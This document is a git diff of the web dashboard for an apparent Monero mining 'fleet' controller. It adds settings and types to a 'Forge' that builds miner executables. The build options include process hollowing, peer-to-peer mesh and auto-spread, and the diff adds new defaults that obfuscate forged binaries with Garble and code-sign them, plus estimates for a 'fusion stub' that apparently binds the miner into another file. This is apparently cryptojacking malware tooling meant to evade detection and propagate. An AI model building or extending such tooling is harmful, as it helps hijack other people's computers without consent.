</div> </div>
<AgentRemoteActions agent={agent} compact /> <AgentRemoteActions agent={agent} compact online={agent.status === 'online'} />
</NeonCard> </NeonCard>
))} ))}
{agents.length > 0 && topAgents.length === 0 && (
<NeonCard accent="brass" className="empty-state">
<p>No agents match current filters.</p>
</NeonCard>
)}
</div> </div>
</section> </section>
<section className="section"> <section className="section">
<h2 className="section-title font-display"> <h2 className="section-title font-display">
<span className="section-ornament"></span> Share Log <span className="section-ornament"></span> Share Log
@@ -298,21 +361,6 @@ export default function DashboardPage() {
); );
} }
function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}
function formatTime(t: string): string { function formatTime(t: string): string {
return new Date(t).toLocaleTimeString(); return new Date(t).toLocaleTimeString();
} }

View File

@@ -1221,3 +1221,20 @@
border-radius: 6px; border-radius: 6px;
background: rgba(248, 113, 113, 0.08); background: rgba(248, 113, 113, 0.08);
} }
.forge-mode-toggle {
display: inline-flex;
gap: 4px;
margin-right: 4px;
}
.forge-simple-banner {
margin-bottom: 1rem;
padding: 1rem 1.25rem;
border: 1px solid rgba(212, 175, 55, 0.35);
background: rgba(212, 175, 55, 0.06);
}
.forge-simple-banner .font-tech {
margin-bottom: 0.35rem;
}

View File

@@ -176,6 +176,11 @@ export default function SettingsPage() {
strict_wallet_validation: false, strict_wallet_validation: false,
dashboard_subtitle: '', dashboard_subtitle: '',
open_firewall_on_start: true, open_firewall_on_start: true,
obfuscate_default: false,
sign_enabled: false,
sign_cert_thumbprint: '',
sign_tool_path: '',
sign_timestamp_url: 'http://timestamp.digicert.com',
}; };
return ( return (
@@ -210,7 +215,27 @@ export default function SettingsPage() {
{serverInfo.local_ips?.length > 0 && ( {serverInfo.local_ips?.length > 0 && (
<p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p> <p className="form-hint">IPs on this host: {serverInfo.local_ips.join(' · ')}</p>
)} )}
<p className="form-hint">Set Public URL below if you want the Forge to default to a specific address.</p> <p className="form-hint">Workers need this LAN address not localhost. Click below to apply best defaults, then Save Calibration.</p>
<button
type="button"
className="btn btn-primary btn-sm"
style={{ marginTop: '0.75rem' }}
onClick={() => {
if (!config) return;
updateField('server.public_url', serverInfo.suggested_url);
updateField('server.open_firewall_on_start', true);
updateField('server.obfuscate_default', false);
updateField('server.sign_enabled', false);
if (!config.wallet.address?.trim()) {
setSaveMessage('Set your Monero wallet below, then Save Calibration.');
} else {
setSaveMessage('Best defaults applied to the form — click Save Calibration to keep them.');
}
}}
>
Use best defaults
</button>
<FieldHint field="calibrate_quick_setup" />
</NeonCard> </NeonCard>
)} )}
@@ -233,9 +258,18 @@ export default function SettingsPage() {
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Public URL (LAN) <HelpTip field="public_url" /></label> <label className="label">Public URL (LAN) <HelpTip field="public_url" /></label>
<input type="text" className="input mono" placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'} <div style={{ display: 'flex', gap: '8px', flexWrap: 'wrap', alignItems: 'center' }}>
value={s.public_url} <input type="text" className="input mono" style={{ flex: 1, minWidth: '200px' }}
onChange={(e) => updateField('server.public_url', e.target.value)} /> placeholder={serverInfo?.suggested_url || 'http://192.168.1.x:8989'}
value={s.public_url}
onChange={(e) => updateField('server.public_url', e.target.value)} />
{serverInfo?.suggested_url && (
<button type="button" className="btn btn-outline btn-sm"
onClick={() => updateField('server.public_url', serverInfo.suggested_url)}>
Use detected LAN
</button>
)}
</div>
<FieldHint field="public_url" /> <FieldHint field="public_url" />
</div> </div>
<div className="form-group"> <div className="form-group">
@@ -291,9 +325,11 @@ export default function SettingsPage() {
<h2 className="font-display">Fleet Payout Wallet</h2> <h2 className="font-display">Fleet Payout Wallet</h2>
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p> <p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
<div className="form-group"> <div className="form-group">
<label className="label">XMR Address <HelpTip field="wallet" /></label> <label className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
<input type="text" className="input mono" value={config.wallet.address} <input type="text" className="input mono" placeholder="4… (95 chars)"
value={config.wallet.address}
onChange={(e) => updateField('wallet.address', e.target.value)} /> onChange={(e) => updateField('wallet.address', e.target.value)} />
<FieldHint field="calibrate_wallet" />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Payment ID (optional)</label> <label className="label">Payment ID (optional)</label>
@@ -395,6 +431,47 @@ export default function SettingsPage() {
)} )}
</NeonCard> </NeonCard>
<NeonCard accent="brass" className="settings-section">
<h2 className="font-display">Forge Pipeline</h2>
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.obfuscate_default ?? false}
onChange={(e) => updateField('server.obfuscate_default', e.target.checked)} />
<span>Default: obfuscate new forges with Garble <HelpTip field="obfuscate_default" /></span>
</label>
<FieldHint field="obfuscate_default" />
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={s.sign_enabled ?? false}
onChange={(e) => updateField('server.sign_enabled', e.target.checked)} />
<span>Default: sign forged executables <HelpTip field="sign_enabled" /></span>
</label>
<FieldHint field="sign_enabled" />
</div>
<div className="form-group">
<label className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label>
<input type="text" className="input mono" placeholder="AB CD EF ..."
value={s.sign_cert_thumbprint || ''}
onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} />
<FieldHint field="sign_cert_thumbprint" />
</div>
<div className="form-group">
<label className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label>
<input type="text" className="input mono" placeholder="Auto-detect from Windows SDK"
value={s.sign_tool_path || ''}
onChange={(e) => updateField('server.sign_tool_path', e.target.value)} />
</div>
<div className="form-group">
<label className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label>
<input type="text" className="input mono"
value={s.sign_timestamp_url || 'http://timestamp.digicert.com'}
onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} />
<FieldHint field="sign_timestamp_url" />
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section"> <NeonCard accent="green" className="settings-section">
<h2 className="font-display">Data & Limits</h2> <h2 className="font-display">Data & Limits</h2>
<p className="section-desc">Retention and capacity for this host.</p> <p className="section-desc">Retention and capacity for this host.</p>

View File

@@ -18,6 +18,8 @@ export interface Agent {
cpu_usage_pct: number; cpu_usage_pct: number;
memory_usage_pct: number; memory_usage_pct: number;
uptime_seconds: number; uptime_seconds: number;
notes?: string;
tags?: string[];
} }
export interface Share { export interface Share {
@@ -100,6 +102,11 @@ export interface ServerSettings {
strict_wallet_validation: boolean; strict_wallet_validation: boolean;
dashboard_subtitle: string; dashboard_subtitle: string;
open_firewall_on_start: boolean; open_firewall_on_start: boolean;
obfuscate_default?: boolean;
sign_enabled?: boolean;
sign_cert_thumbprint?: string;
sign_tool_path?: string;
sign_timestamp_url?: string;
} }
export interface PoolConfig { export interface PoolConfig {
@@ -244,6 +251,24 @@ export interface BuildRequest {
process_hollowing?: boolean; process_hollowing?: boolean;
mesh_p2p?: boolean; mesh_p2p?: boolean;
auto_spread?: boolean; auto_spread?: boolean;
obfuscate?: boolean;
sign_build?: boolean;
}
export interface FusionEstimate {
prep_bytes: number;
prep_name: string;
estimated_worker_bytes: number;
estimated_fusion_stub_bytes: number;
estimated_resource_patch_bytes: number;
estimated_total_bytes: number;
output_file_name: string;
project_root_path: string;
archive_path_hint: string;
export_path?: string;
obfuscate: boolean;
sign_build: boolean;
notes: string[];
} }
export interface BuildResponse { export interface BuildResponse {
@@ -262,6 +287,8 @@ export interface BuildResponse {
error?: string; error?: string;
fusion_enabled?: boolean; fusion_enabled?: boolean;
worker_file?: string; worker_file?: string;
signed?: boolean;
obfuscated?: boolean;
} }
export interface BlueprintInfo { export interface BlueprintInfo {
@@ -273,5 +300,5 @@ export interface BlueprintInfo {
export interface WSMessage { export interface WSMessage {
type: string; type: string;
payload: any; payload: import('./ws').WSPayload;
} }

View File

@@ -0,0 +1,56 @@
import type { Agent } from '../types';
/** Dashboard WebSocket payloads — keep in sync with server/internal/api/ws_types.go */
export interface WSDashboardInit {
agents: Agent[];
}
export interface WSAgentOffline {
agent_id: string;
}
export interface WSStatsUpdate {
agent_id: string;
hashrate_15s: number;
hashrate_1m: number;
hashrate_15m: number;
cpu_usage_pct: number;
memory_usage_pct?: number;
uptime_seconds?: number;
shares_submitted?: number;
shares_accepted?: number;
}
export interface WSCommandResult {
agent_id?: string;
action?: string;
success?: boolean;
message?: string;
}
export interface WSAgentLog {
agent_id: string;
content: string;
}
export interface WSServerLog {
line: string;
}
export type WSPayload =
| WSDashboardInit
| Agent
| WSAgentOffline
| WSStatsUpdate
| import('../types').Share
| import('../types').FleetAlert
| import('../types').PoolStatus[]
| import('../types').AIActivityEntry
| WSCommandResult
| WSAgentLog
| WSServerLog;
export interface WSMessageTyped<T extends string = string> {
type: T;
payload: WSPayload;
}